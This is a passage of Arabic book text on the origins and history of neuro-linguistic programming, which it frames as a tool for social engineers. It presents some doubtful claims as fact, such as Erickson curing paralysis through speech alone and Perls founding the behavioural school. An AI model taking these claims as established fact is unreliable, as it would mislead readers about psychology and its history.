‫ﺗﮭدف ﻟﺣل ﺑﻌض اﻷزﻣﺎت اﻟﻧﻔﺳﯾﺔ وﻣﺳﺎﻋدة اﻷﺷﺧﺎص ﻋﻠﻰ ﺗﺣﻘﯾﻖ ﻧﺟﺎﺣﺎت وإﻧﺟﺎزات أﻓﺿل ﻓﻲ ﺣﯾﺎﺗﮭم‪ .‬ﺗﺗﻣﯾز ھذه اﻟﻣدرﺳﺔ اﻟﻧﻔﺳﯾﺔ ﺑﺄن‬
‫ﻣﺗﻘن أﺳﺎﻟﯾﺑﮭﺎ ﻻ ﯾﺣﺗﺎج ﻣﻌﺎﻟﺞ ﺧﺎرﺟﻲ ﻓﮭو ﯾﻣﻛن أن ﯾﻛون وﺳﯾﻠﺔ ﻟﻌﻼج ﻧﻔﺳﻲ ﺳﻠوﻛﻲ ذاﺗﻲ‪ ،‬ﺗﺣﺎول أن ﺗﺣدد ﺧطﺔ واﺿﺣﺔ ﻟﻠﻧﺟﺎح ﺛم اﺳﺗﺧدام‬
‫أﺳﺎﻟﯾب ﻧﻔﺳﯾﺔ ﻟﺗﻌزﯾز اﻟﺳﻠوك اﻷﻧﺟﺢ وﻣﺣﺎوﻟﺔ ﺗﻔﻛﯾك اﻟﻣﻌﺗﻘدات اﻟﻘدﯾﻣﺔ اﻟﺗﻲ ﺗﺷﺧص ﻋﻠﻰ أﻧﮭﺎ ﻣﻌﯾﻘﺔ ﻟﺗطور اﻟﻔرد‪ ،‬وﻣن ھﻧﺎ ﺟﺎء ﺗﺳﻣﯾﺗﮭﺎ‬
‫ﺑﺎﻟﺑرﻣﺟﺔ أي أﻧﮭﺎ ﺗﻌﯾد ﺑرﻣﺟﺔ اﻟﻌﻘل ﻋن طرﯾﻖ اﻟﻠﺳﺎن‪.‬‬
‫ﻛﻣﺎ ﺟﺎء ﻓﻲ ﻗﺎﻣوس أوﻛﺳﻔورد اﻹﻧﻛﻠﯾزي‪ ،‬اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ )‪ (NLP‬ھﻲ "ﻧﻣوذج اﺗﺻﺎل ﺷﺧﺻﻲ ﻣﻌﻧﻲ اﺳﺎﺳﺎ ﺑﺎﻟﻌﻼﻗﺔ ﺑﯾن أﻧﻣﺎط‬
‫اﻟﺳﻠوك ﻧﺎﺟﺣﺔ واﻟﺗﺟﺎرب اﻟذاﺗﯾﺔ )ﺧﺎﺻﺔ أﻧﻣﺎط اﻟﺗﻔﻛﯾر( اﻟﻛﺎﻣﻧﺔ ﺧﻠﻔﮭﺎ"‪ ،‬و "ﻧظﺎم اﻟﻌﻼج اﻟﺑدﯾل ﻋﻠﻰ أﺳﺎس ھذا ﯾﺳﻌﻰ إﻟﻰ ﺗﺛﻘﯾف اﻟﻧﺎس ﻓﻲ‬
‫اﻟوﻋﻲ اﻟذاﺗﻲ واﻟﺗواﺻل اﻟﻔﻌﺎل‪ ،‬وإﻟﻰ ﺗﻐﯾﯾر أﻧﻣﺎط ﺳﻠوﻛﮭم اﻟﻌﻘﻠﻲ واﻟﻌﺎطﻔﻲ" ‪.‬‬
‫ھذا اﻟﻛﺗﺎب ھو أﺑﻌد ﻣن ﻛﺗﺎب اﻟﻣﺳﺎﻋدة اﻟذاﺗﯾﺔ‪ ،‬ﻋﻠﻰ اﻟرﻏم ﻣن أن اﻟﻣﺑﺎدئ ﯾﻣﻛن أن ﺗﺳﺎﻋد ﻓﻲ ﺗﻐﯾﯾر أﻧﻣﺎط اﻟﺗﻔﻛﯾر ﻋﻣﯾﻘﺔ اﻟﺟذور واﻟﻌﺎدات‬
‫ﻓﻲ ﻧﻔﺳك‪ ،‬ﺗرﻛﯾزھﺎ ﻋﻠﻰ ﻛﯾﻔﯾﺔ اﺳﺗﺧدام اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ ﻟﻔﮭم وﻣن ﺛم اﻟﺗﻌﺎﻣل ﻣﻊ ﻣن ﺣوﻟك‪.‬‬
‫إذا ﻛﻧت ﻏﯾر ﻣﺄﻟوف ﻣﻊ اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ ﻗد ﺗﻛون اﻟﻐرﯾزة اﻷوﻟﻰ ﻟﻠﺗﺷﻐﯾل ﻋﻠﻰ ﺟﮭﺎز ﻛﻣﺑﯾوﺗر واﻛﺗب اﻟﻣﺻطﻠﺢ ﻓﻲ ﺟوﺟل‪ .‬أرﯾد أن‬
‫أطﻠب ﻣﻧﻛم أﻻ ﺗﻔﻌل ذﻟك ﻓﻘط ﺣﺗﻰ اﻵن‪ .‬ﺣﯾث ﺳوف ﺗﺟد أﻧﮫ ﺷﺑﯾﮫ ﺑﺎﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬ﻏﺎﻟﺑﺎ ﺳوف ﺗﺟد ﻷول ﻣرة اﻟﻌدﯾد ﻣن أﺷرطﺔ اﻟﻔﯾدﯾو‬
‫واﻟﻣظﺎھرات اﻟﺗﻲ ﺗﺑدو ﻏﯾر واﻗﻌﯾﺔ ﺟدا‪ ،‬ﻣﺛل أﺷرطﺔ اﻟﻔﯾدﯾو ﻋن ﺷﺧص ﻣﺎ ﻟﻣس ﻛﺗف ﺷﺧص آﺧر وﻏﯾر أﻧﻣﺎط اﻟدﻣﺎغ أن اﻟﺷﺧص ﯾﻔﻛر ﻓﻲ‬
‫أن اﻟﺑﻧﻲ ھو أﺑﯾض‪ .‬أﺷرطﺔ اﻟﻔﯾدﯾو ھذه ﺗﺟﻌل ﻣن اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ أن ﯾﻛون ﺷﻛﻼ ﻣن أﺷﻛﺎل اﻟﺗﺻوف‪ ،‬وﺑﺎﻟﻧﺳﺑﺔ ﻷوﻟﺋك اﻟذﯾن ﺣذروا‬
‫ﻣن ھذه اﻷﺷﯾﺎء‪ ،‬ھذه اﻷﻧواع ﻣن أﺷرطﺔ اﻟﻔﯾدﯾو ﺗﺷوﯾﮫ ﺳﻣﻌﺗﮭﺎ‪.‬‬
‫ﺗﺎرﯾﺦ اﻟﺒﺮﻣﺠﺔ اﻟﻠﻐﻮﯾﺔ اﻟﻌﺼﺒﯿﺔ )‪(The History of Neurolinguistic Programming‬‬

‫ﺑدأ ﻓﻲ ﻣﻧﺗﺻف اﻟﺳﺑﻌﯾﻧﯾﺎت اﻟﻣﯾﻼدﯾﺔ ﻋﻠﻰ ﯾد اﻟﻌﺎﻟﻣﯾن اﻷﻣرﯾﻛﯾﯾن ﺟون ﻏرﯾﻧدر ورﯾﺗﺷﺎرد ﺑﺎﻧدﻟر اﻟذﯾن ﻗررا وﺿﻊ أﺻول ‪ NLP‬ﻛﻌﻠم ﺟدﯾد‬
‫أطﻠﻘﺎ ﻋﻠﯾﮫ اﺳم ﺑرﻣﺟﺔ اﻷﻋﺻﺎب ﻟﻐوﯾﺎ وﻛﺎن ذﻟك ﻓﻲ ‪ 1973‬وﺑﺗﺷﺟﯾﻊ ﻣن اﻟﻣﻔﻛر اﻹﻧﻛﻠﯾزي واﻷﺳﺗﺎذ ﺑﺟﺎﻣﻌﺔ ﺳﺎﻧﺗﺎ ﻛروز )ﺟرﯾﺟوري‬
‫ﺑﺎﺗﯾﺳون(‪ ،‬ﻛﻣﺎ أﺳﮭم ﻣﻌﮭم ﻓﻲ وﺿﻊ ھذه اﻟﺑﺣوث ﻛل ﻣن ﺟودث دﯾوﻟﯾزﯾﻠر وﻟزﻟﻲ ﻛﺎﻣرون ﺑﺎﻧدﻟر‪ .‬وﻗد ﺑﻧﻲ ﺟرﯾﻧدر وﺑﺎﻧدﻟر أﻋﻣﺎﻟﮭﻣﺎ ﻋﻠﻰ‬
‫أﺑﺣﺎث ﻗﺎم ﺑﮭﺎ ﻋﻠﻣﺎء أﺧرون أﺷﮭرھم اﻟﻌﺎﻟﻣﺎن اﻷﻣرﯾﻛﻲ ﻧﻌوم ﺷوﻣﺳﻛﻲ واﻟﺑوﻟﻧدي أﻟﻔرﯾد ﻛورزﺑﺳﻛﻲ وذﻟك ﻟﻧﻣذﺟﺔ ﻣﮭﺎرة ﻛل ﻣن ﻣﻠﺗون‬
‫إرﻛﺳون )طﺑﯾب اﻟﺗﻧوﯾم اﻟﻣﻐﻧﺎطﯾﺳﻲ( وﻓرﺟﯾﻧﯾﺎ ﺳﺎﺗﯾر وﻓرﺗز ﺑرﻟز )ﻣؤﺳس اﻟﻣدرﺳﺔ اﻟﺳﻠوﻛﯾﺔ(‪ ،‬إذ أﻣﻛﻧﮭﻣﺎ ﻣن ﺗﻔﻛﯾك ھذه اﻟﺧﺑرات‬
‫واﻟﺣﺻول ﻋﻠﯾﮭﺎ وإﻧﺷﺎء اول ﺑﺣث ﻟﮭم واﻟﺗﻲ ﻗﺎﻣوا ﻓﯾﮫ ﺑﺗطوﯾر اﻠ ‪ code‬ﻣﻔﮭوم اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ‪ .‬أدى ھذا اﻟﺑﺣث ﻓﻲ وﻗت ﻣﺑﻛر‬
‫ﻟﺗطوﯾر ﻧﻣوذج ﻣﯾﺗﺎ )‪ ،(meta-model‬اﻟذي ﯾﻌرف أﻧﻣﺎط اﺳﺗﺧدام اﻟﻠﻐﺔ ﻟﻠﺗﺄﺛﯾر ﻋﻠﻰ اﻟﺗﻐﯾﯾر‪ .‬ﺣﯾث ﻛﺎن ﻛل ﻣن ﺑﺎﻧدﻟر وﺟرﯾﻧدر طﻼب ﻓﻲ‬
‫ﺟﺎﻣﻌﺔ ﻛﺎﻟﯾﻔورﻧﯾﺎ واﺳﺗﺧدﻣوا ﻣﺑﺎدئ أﺑﺣﺎﺛﮭم ﻟﺗطوﯾر ﻧﻣوذج ﻋﻼﺟﻲ ﯾﺳﻣﻰ ﻧﻣوذج ﻣﯾﺗﺎ )‪ .(meta-model‬ﺑﻌد ﻛﺗﺎﺑﺔ ﻋدد ﻗﻠﯾل ﻣن اﻟﻛﺗب ﻋﻠﻰ‬
‫أﺳﺎس ھذا اﻟﻧﻣوذج ﺑدأوا ﺑﺻﻘل اﻟﻣﺑﺎدئ اﻷﺳﺎﺳﯾﺔ اﻟﺗﻲ ﻣن ﺷﺄﻧﮭﺎ أن ﺗﺻﺑﺢ ﻣﺎ ﻧﺳﻣﯾﮫ اﻟﯾوم ‪ .NLP‬وﻗد اﺳﺗﺧرﺟوا ‪ 13‬أﺳﻠوﺑﺎ ﻟﻣﻠﺗون و‪7‬‬
‫أﺳﺎﻟﯾب ﻟﻔرﺟﯾﻧﯾﺎ واﻟﺗﻲ ﺗﺿﻣن أﺷﯾﺎء ﻣﺛل ‪،nesting loops ،belief change ،reframing ،swish pattern ،anchoring‬‬
‫‪ ،chaining states‬و‪.submodalities applications‬‬
‫ﺑﻌد ﺗﺧرﺟﮫ ﻣﻊ درﺟﺔ ﻓﻲ ﻋﻠم اﻟﻧﻔس‪ ،‬ﺑدأ ﺑﺎﻧدﻟر وﺟرﯾﻧدر ﺑﺎﺳﺗﺿﺎﻓﺔ اﻟﻧدوات وﻣﻣﺎرﺳﺔ اﻟﻣﺟﻣوﻋﺎت‪ ،‬اﻟﺗﻲ ﻛﺎﻧت ﺑﻣﺛﺎﺑﺔ أﻣﺎﻛن ﻟﮭم ﻟﻣﻣﺎرﺳﺔ‬
‫واﺧﺗﺑﺎر أﻧﻣﺎطﮭم اﻟﻣﻛﺗﺷﻔﺔ ﺣدﯾﺛﺎ ﻣﻊ اﻟﺳﻣﺎح ﻟﮭم ﻟﻧﻘل اﻟﻣﮭﺎرات ﻟﻠﻣﺷﺎرﻛﯾن‪ .‬ﺧﻼل ھذه اﻟﻔﺗرة‪ ،‬ﻗدﻣت ﻣﺟﻣوﻋﺔ ﻣن اﻟطﻼب اﻻﺑداﻋﯾن واﻷطﺑﺎء‬
‫اﻟﻧﻔﺳﯾون اﻟذﯾن ﺗﺷﻛﻠوا ﺣول ﺑﺎﻧدﻟر وﺟرﯾﻧدر ﻣﺳﺎھﻣﺎت ﻗﯾﻣﺔ ﻓﻲ اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ‪ ،‬ﻣﻣﺎ ﺳﺎﻋدت ﻋﻠﻰ ﺻﻘل ‪ NLP‬أﻛﺛر‪.‬‬
‫ﻓﻲ اﻟﺳﻧوات اﻷﺧﯾرة‪ ،‬أﺻﺑﺢ ‪ NLP‬اﻟﻛﻠﻣﺔ اﻟطﻧﺎﻧﺔ اﻟﺟدﯾدة ﻟﻠﻣدﯾرﯾن‪ ،‬اﻟﻧﻣو اﻟﺳرﯾﻊ ﻟﻠﻣدرﺑﯾن‪ ،‬واﻟطﺑﻘﺎت‪ ،‬واﻟﺧﺑراء‪ .‬دون أي ھﯾﺋﺔ ﺗﻧظﯾم ﻧﻣﺎ‬
‫ھذا اﻟﻣﺟﺎل وأراد اﻟﺟﻣﯾﻊ أن ﯾﺗﻌﻠم اﻟﺳﯾطرة ﻋﻠﻰ اﻵﺧرﯾن‪ ،‬اﻟﻛذب دون اﻟوﻗوع‪ ،‬أو ﺣل ﺟﻣﯾﻊ ﻣﺷﺎﻛﻠﮭم اﻟﻧﻔﺳﯾﺔ‪ .‬ﺣﺗﻰ اﻻن ﻟم ﯾﺗم ﺗرﺧﯾص‬
‫ﻣﻣﺎرﺳﺗﮭﺎ‪ ،‬ﻓﻘﺎﻣت ﻛل ﻣﺟﻣوﻋﺔ ﺗدرس ﺑﺷﻛل ﺧﺎص ﻣﻔﮭوم اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ وأﺻدر ﺷﮭﺎدة ﺧﺎﺻﺔ ﺑﮭم ﻛﺧﺑراء‪ .‬ﻛل ھذا ھو ﻣﺎ أدى‬
‫إﻟﻰ أن ﯾﺗم ﻋرض ‪ NLP‬ﺑﺎﻟﺳﻠب إﻟﻰ ﺣد ﻣﺎ‪.‬‬
‫اﻟﺣﻘﯾﻘﺔ أن أھم ﻣﺎ ﺗوﺻل إﻟﯾﮫ ھذان اﻟﻌﺎﻟﻣﺎن أن اﻟﻧﺎس ﯾﺗﺻرﻓون ﺑﻧﺎء ﻋﻠﻰ ﺑراﻣﺞ ﻋﻘﻠﯾﺔ‪ ،‬وﻟﮭذا ﻓﺈﻧﻧﺎ ﻻ ﻧﻌﺗﺑر ﻣﺎ ﻗدﻣوه ﻋﻠﻣﺎ ﻣﺳﺗﻘﻼ‪ ،‬وﻟﻛن‬
‫اﻻﺑداع اﻟﺣﻘﯾﻘﻲ ﻓﻲ ﻋﻠم اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ ھو ﻓﻲ اﻟﺗرﻛﯾﺑﺔ اﻟﺗﻲ رﻛﺑوھﺎ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪851‬‬

‫ﻋﻠﻰ اﻟرﻏم ﻣن ﺗﺎرﯾﺧﮭﺎ اﻟﺻﺧري‪ ،‬ﯾﻛﻣن أﺳﺎس ﺟوھر اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ ھو ﺗﻌزﯾز ﻗدراﺗك ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪ .‬وﯾﻧﺎﻗش اﻟﻘﺳم اﻟﺗﺎﻟﻲ‬
‫ﺑﻌض ‪ code‬اﻷﺳﺎﺳﯾﺔ ﻣن اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ ﺣﺗﻰ ﺗﺗﻣﻛن ﻣن ﺗﺣﻠﯾﻠﮭﺎ ﺑﻌﻣﻖ أﻛﺛر‪.‬‬
‫ﻧﺸﺄة اﻟﺒﺮﻣﺠﺔ اﻟﻠﻐﻮﯾﺔ اﻟﻌﺼﺒﯿﺔ وﺗﺎرﯾﺨﮭﺎ‬
‫اﻟﻣؤﺳﺳﺎن‪ :‬ﯾﻧﺳب ﻓﺿل ﺗﺄﺳﯾس ھذا اﻟﻌﻠم إﻟﻰ رﺟﻠﯾن اﺛﻧﯾن ھﻣﺎ‪:‬‬
‫ﺟرﯾﻧدر‪ ،‬وھو ﻋﺎﻟم ﻟﻐوﯾﺎت ﻣن أﺗﺑﺎع اﻟﻣدرﺳﺔ اﻟﺗوﻟﯾدﯾﺔ اﻟﺗﺣوﯾﻠﯾﺔ اﻟﺗﻲ أﺳﺳﮭﺎ اﻟﻠﻐوي واﻟﺳﯾﺎﺳﻲ اﻷﻣرﯾﻛﻲ اﻟﺷﮭﯾر ﻧﻌوم ﺗﺷوﻣﺳﻛﻲ‪.‬‬
‫ﻲ وﺧﺑﯾر ﻓﻲ اﻟﺣﺎﺳوﺑﯾﺎت ودارس ﻟﻌﻠم اﻟﻧﻔس‪ .‬وﻛﺎن ﻟﮭذﯾن دور رﺋﯾس ﻓﻲ اﻛﺗﺷﺎف أھم وأول ﻓﻛرﺗﯾن ﻣن أﻓﻛﺎر‬ ‫رﯾﺗﺷﺎرد ﺑﺎﻧدﻟر‪ :‬وھو رﯾﺎﺿ ﱞ‬
‫اﻟـ‪ . NLP‬ﻓﺈﻟﻰ ﺟرﯾﻧدر ﯾﻌزى اﻟﻔﺿل ﻓﻲ اﻛﺗﺷﺎف ﻓﻛرة )ﻧﻣذﺟﺔ( اﻟﻣﮭﺎرات اﻟﻠﻐوﯾﺔ‪ .‬وإﻟﻰ ﺑﺎﻧدﻟر ﯾﻌزى اﻟﻔﺿل ﻓﻲ اﻛﺗﺷﺎف ﻓﻛرة اﻟﺑﺣث ﻋن‬
‫اﻟﺣﺎﺳب ﻓﻲ ﻋﻘول اﻟﻧﺎس‪.‬‬
‫ھﺎﺗﺎن اﻟﻔﻛرﺗﺎن‪ :‬ﻧﻣذﺟﺔ اﻟﻣﮭﺎرة اﻟﻠﻐوﯾﺔ واﻟرﺑط ﺑﯾن اﻟﺑراﻣﺞ اﻟﺣﺎﺳوﺑﯾﺔ واﻟﺑراﻣﺞ اﻟﻌﻘﻠﯾﺔ‪ .‬ھﻣﺎ أھم وأول اﻛﺗﺷﺎﻓﯾن ﻓﻲ ﻋﻠم اﻟﺑرﻣﺟﺔ اﻟﻌﺻﺑﯾﺔ‬
‫اﻟﻠﻐوﯾﺔ‪ .‬ﻛﯾف ﺗم ھذان اﻻﻛﺗﺷﺎﻓﺎن؟‬
‫ﻛﺎن ﻣﯾﻠﺗون ارﯾﻛﺳون )‪ (Milton Erickson‬ﻣن أﺷﮭر ﻋﻠﻣﺎء اﻟﻧﻔس اﻷﻣرﯾﻛﺎن ﻓﻲ زﻣﺎﻧـﮫ‪ ،‬وﻛﺎن ﺧﺑﯾرا ﺑﺎرﻋﺎ ﻓﻲ اﻟﺗﻧوﯾم اﻹﯾﺣﺎﺋﻲ‪ ،‬وﻛﺎن‬
‫أﻋﺟب ﻣﺎ ﻓﻲ أﻣره أﻧﮫ ﯾﻣﺗﻠك ﻗدرة ﻟﻐوﯾﺔ ھﺎﺋﻠﺔ‪ ،‬ﻟﻘد ﻛﺎن ﯾﺳﺗطﯾﻊ ﺑﺎﻟﻛﻼم وﺣده أن ﯾﻌﺎﻟﺞ ﻛﺛﯾرا ﻣن اﻷﻣراض ﺑﻣﺎ ﻓﻲ ذﻟك ﺑﻌض ﺣﺎﻻت اﻟﺷﻠل‬
‫وذﻟك ﺑﺎﺳﺗﺧدام ﺗﻘﻧﯾﺎت اﻟﺗﻧوﯾم ﺑﺎﻹﯾﺣﺎء‪.‬‬
‫ھذا اﻟﻌﻼج ﯾﻘوم ﻋﻠﻰ إﺣﺿﺎر اﻟﻣرﯾض اﻟﻧﻔﺳﻲ وﻛﺎﻓﺔ أﻓراد أﺳرﺗﮫ وإدارة ﺣوار ﻣﻊ اﻟﺟﻣﯾﻊ‪ ،‬وﻣن ﺧﻼل ھذا اﻟﺣوار ﺗﻣﻛن ﺳﺎﺗﯾر ﻣن إﺻﻼح‬
‫اﻟﻧظﺎم اﻷﺳري ﻛﻠﮫ وﻣن ﺛم ﯾﺗم اﻟﻘﺿﺎء ﻋﻠﻰ اﻟﻣﺷﻛﻠﺔ اﻟﻧﻔﺳﯾﺔ ﻟدى اﻟﻣرﯾض! ﺳﻣﻊ )ﺟرﯾﻧدر( ﺑـ )ﻣﯾﻠﺗون( و)ﺳﺎﺗﯾر(‪ ،‬وﻻﺣظ أن اﻟﺟﺎﻣﻊ‬
‫اﻟﻣﺷﺗرك ﺑﯾﻧﮭﻣﺎ ھو أﻧﮭﻣﺎ ﯾﺳﺗﺧدﻣﺎن )اﻟﻠﻐﺔ( ﻓﻘط ﻓﻲ ﺗﺣﻘﯾﻖ ﻧﺗﺎﺋﺞ ﻋﻼﺟﯾﺔ ﻣذھﻠﺔ وﻓرﯾدة‪ .‬ﺑدأ ﺟرﯾﻧدر ﯾﺗﺳﺎءل ﻋن اﻟﺳر ﻓﻲ ﻟﻐﺔ ھذﯾن؟ وﻣﺎ‬
‫اﻟﻔرق ﺑﯾن ﻛﻼﻣﮭﻣﺎ وﻛﻼم اﻵﺧرﯾن؟ وھل ﺛﻣت طراﺋﻖ أو أﺳﺎﻟﯾب ﻣﻌﯾﻧﺔ ﯾﺳﺗﺧدﻣﺎﻧﮭﺎ ﺑوﻋﻲ )ﺑﻘﺻد( أو ﺑدون وﻋﻲ ﻓﻲ ﺗﺣﻘﯾﻖ ھذه اﻹﻧﺟﺎزات؟‬
‫ﺛم ـ وھذا أھم ﻣﺎ ﻓﻲ اﻷﻣر ـ ھل ﯾﻣﻛن اﻛﺗﺷﺎف ھذه اﻷﺳﺎﻟﯾب وﺗﻔﻛﯾﻛﮭﺎ وﻣن ﺛم ﺗﻌﻠﯾﻣﮭﺎ ﻟﻶﺧرﯾن ﻟﺗﺣﻘﯾﻖ ﻧﻔس اﻟﻧﺗﯾﺟﺔ؟‬
‫ﻋﻧد ھذه اﻟﻧﻘطﺔ اﻷﺧﯾرة ﺗوﻗف )ﺟرﯾﻧدر( طوﯾﻼ‪ ،‬ھل ﯾﻣﻛن ﺗﻔﻛﯾك ھذه اﻟﺧﺑرة اﻟﻠﻐوﯾﺔ وﻧﻘﻠﮭﺎ إﻟﻰ اﻵﺧرﯾن؟ ﺑﻣﻌﻧﻰ آﺧر‪ :‬ھل ﯾﻣﻛن ﻧﻘل ﻧﺟﺎح‬
‫ﻣﯾﻠﺗون وﺳﺎﺗﯾر اﻟﻠﻐوي إﻟﻰ ﻏﯾرھﻣﺎ؟ " وإذا أﻣﻛن ھذا ﻓﮭل ﻣﻌﻧﺎه أن ﻛل ﻧﺟﺎح ﻓﻲ اﻟدﻧﯾﺎ ﯾﻣﻛن أن ﺗﻔﻛك ﻋﻧﺎﺻره وﻣن ﺛم ﯾﻧﻘل إﻟﻰ أﺷﺧﺎص‬
‫ﻲ ﺑﺎرع ﯾﻣﺗﻠك ﻗدرة ﻓذة ﻋﻠﻰ ﺗﻘﻠﯾد اﻷﺷﺧﺎص ﯾدﻋﻰ )رﯾﺗﺷﺎرد ﺑﺎﻧدﻟر( واﻟذي ﻛﺎن ﺣﯾﻧﮭﺎ دارﺳﺎ ﻋﻠم‬ ‫ﺑﻌﺎﻟم ﺣﺎﺳوﺑ ّ‬
‫ٍ‬ ‫آﺧرﯾن؟" ﺳﻣﻊ )ﺟرﯾﻧدر(‬
‫اﻟﻧﻔس اﻟﺳﻠوﻛﻲ‪ ،‬واﻟﺗﻘﻰ اﻟرﺟﻼن ﻓﻲ ﺟﺎﻣﻌﺔ )ﺳﺎﻧﺗﺎ ﻛروز( ﺑﻛﺎﻟﯾﻔورﻧﯾﺎ‪.‬‬
‫ﻓﻲ ھذه اﻟﻠﺣظﺔ ﻛﺎن )ﺑﺎﻧدﻟر( ﻗد ﺑدأ ﯾﺿﻊ ﯾده ﻋﻠﻰ ﻣﺑدأ اﻟـ ‪ NLP‬اﻷول‪ ،‬وھو )اﻟﻧﻣذﺟﺔ( أو )ﻣﺣﺎﻛﺎة اﻟﻧﺎﺟﺣﯾن( أو )ﻧﻘل اﻟﻧﺟﺎح ﻣن ﺷﺧص إﻟﻰ‬
‫آﺧر(‪ .‬ﻣن ﺧﻼل ﻣﺣﺎﻛﺎة ﻓرﺗز ﺑﯾرﻟز )ﺻﺎﺣب ﻧظرﯾﺔ اﻟﻌﻼج اﻟﻛﻠﻲ(‪.‬‬
‫ھﻧﺎك اﺗﻔﻘﺎ ﻋﻠﻰ أن ﯾﻘوﻣﺎ ﺑﺗﻔﻛﯾك ﺧﺑرة ﻣﯾﻠﺗون وﻓرﺟﯾﻧﯾﺎ‪ .‬وﻓﻲ اﻟﻧﮭﺎﯾﺔ اﺳﺗﺧرج اﻟرﺟﻼن ﺛﻼﺛﺔ ﻋﺷر أﺳﻠوﺑﺎ ﻟﻐوﯾﺎ ﻟﻣﯾﻠﺗون‪ ،‬وﺳﺑﻌﺔ أﺳﺎﻟﯾب‬
‫ﻟﺳﺎﺗـﯾر‪ ،‬وﻋﻧد ﺗطﺑﯾﻖ ھذه اﻷﺳﺎﻟﯾب ﻣن ﻗﺑﻠﮭﻣﺎ وﺟدا ﻧﺗﺎﺋﺞ ﻣذھﻠﺔ !! ﻟﻘد اﺳﺗطﺎﻋﺎ إذن أن ﯾﻘوﻣﺎ ﺑﻌﻣل ﺟﻠﯾل‪ .‬أن ﯾﻔﻛﻛﺎ اﻟﺧﺑرة وﯾﻧﻘﻼھﺎ إﻟﻰ‬
‫اﻵﺧرﯾن‪ .‬وھذا ﻣﺎ ﺳﻣﻲ ﻓﯾﻣﺎ ﺑﻌد ﺑـ )اﻟﻧﻣذﺟﺔ(‪ " .‬ﻟﻘد ﻗﺎم ھذان اﻟﻌﺑﻘرﯾﺎن ﺑﺄﻛﺛر ﻣن ﻣﺟرد ﺗزوﯾدﻧﺎ ﺑﺳﻠﺳﻠﺔ ﻣن اﻷﻧﻣﺎط اﻟﻔﻌﺎﻟﺔ اﻟﻘوﯾﺔ ﻟﺗﺣﻘﯾﻖ‬
‫اﻟﺗﻐﯾﯾر‪ .‬واﻷھم ﻣن ذﻟك أﻧﮭﻣﺎ زوداﻧﺎ ﺑﻧظرة ﻣﻧﺗظﻣﺔ ﻟﻛﯾﻔﯾﺔ ﺗﻘﻠﯾد أي ﺷﻛل ﻣن أﺷﻛﺎل اﻟﺗﻔوق اﻹﻧﺳﺎﻧﻲ ﻓﻲ ﻓﺗرة وﺟﯾزة ﺟدا "‪ .‬ھﻛذا ﺗم اﻛﺗﺷﺎف‬
‫ﻓﻛرة )اﻟﻧﻣذﺟﺔ( ﻓﻠﻧﻧظر اﻵن ﻛﯾف اﻛﺗﺷف )ﺑﺎﻧدﻟر( ﻓﻛرة اﻟﺑرﻣﺟﺔ اﻟﻌﻘﻠﯾﺔ‪.‬‬
‫ﺑﻌد وﺿﻊ اﻟﻣﺑدأ اﻷول ﺑدأ ﺑﺎﻧدﻟر ﯾﺗﺳﺎءل‪ :‬إذا ﻛﺎﻧت ﺑراﻣﺞ اﻟﺣﺎﺳوب ھﻲ اﻟﺗﻲ ﺗﺣرﻛﮫ وﺗوﺟﮭﮫ ﻓﻣﺎ اﻟذي ﯾﺣرك اﻟﻌﻘل وﯾوﺟﮭﮫ؟ وإذا ﻛﺎﻧت‬
‫ﻟﻐﺎت اﻟﺑرﻣﺟﺔ اﻟﺣﺎﺳوﺑﯾﺔ ھﻲ اﻟطرﯾﻘﺔ اﻟﺗﻲ ﻧﺗﻌﺎﻣل ﺑﮭﺎ ﻣﻊ ﻣﻔردات اﻟﻣﻧطﻖ اﻟﺣﺎﺳوﺑﻲ )اﻟواﺣد واﻟﺻﻔر( ﻓﻣﺎ ھﻲ اﻟﻠﻐﺔ اﻟﺗﻲ ﻧﺗﻌﺎﻣل ﺑﮭﺎ ﻣﻊ‬
‫ﻣﻔردات اﻟﻣﻧطﻖ اﻟﻌﻘﻠﻲ )اﻟﺳﯾﺎﻻت اﻟﻌﺻﺑﯾﺔ(؟ ﺑﺎﺧﺗﺻﺎر‪ :‬ھل ﯾﻣﻛن أن ﻧﻘول‪ :‬أن ھﻧﺎك ﺑراﻣﺞ ﻋﻘﻠﯾﺔ ﺗﺗﺣﻛم ﻓﻲ ﺳﯾر اﻟﻌﻘل ﻛﻣﺎ أن ھﻧﺎك ﺑراﻣﺞ‬
‫ﺣﺎﺳوﺑﯾﺔ ﺗﺗﺣﻛم ﻓﻲ ﺳﯾر اﻟﺣﺎﺳوب؟ ﻟم ﯾﻛن ﺑﺎﻧدﻟر أول ﻣن طرح ھذا اﻟﺗﺳﺎؤل‪ ،‬ﻟﻛﻧﮫ ﻛﺎن أﻓﺿل ﻣن أﺟﺎب ﻋﻠﯾﮫ‪.‬‬
‫رأى ﺑﺎﻧدﻟر أن ﻣﺳﻠك ﻋﻠم اﻟﻧﻔس ﻓﻲ اﻟﺗﻌﺎﻣل ﻣﻊ ﻣﻧطﻖ ھذه اﻟﺳﯾﺎﻻت اﻟﻌﺻﺑﯾﺔ ﻣﺳﻠك ﻗﻠﯾل اﻟﻧﺗﺎﺋﺞ‪ ،‬ﺑطﻲء اﻟﺛﻣﺎر‪ ،‬ﻓﺄراد أن ﯾﻘﻔز ﻗﻔزا إﻟﻰ‬
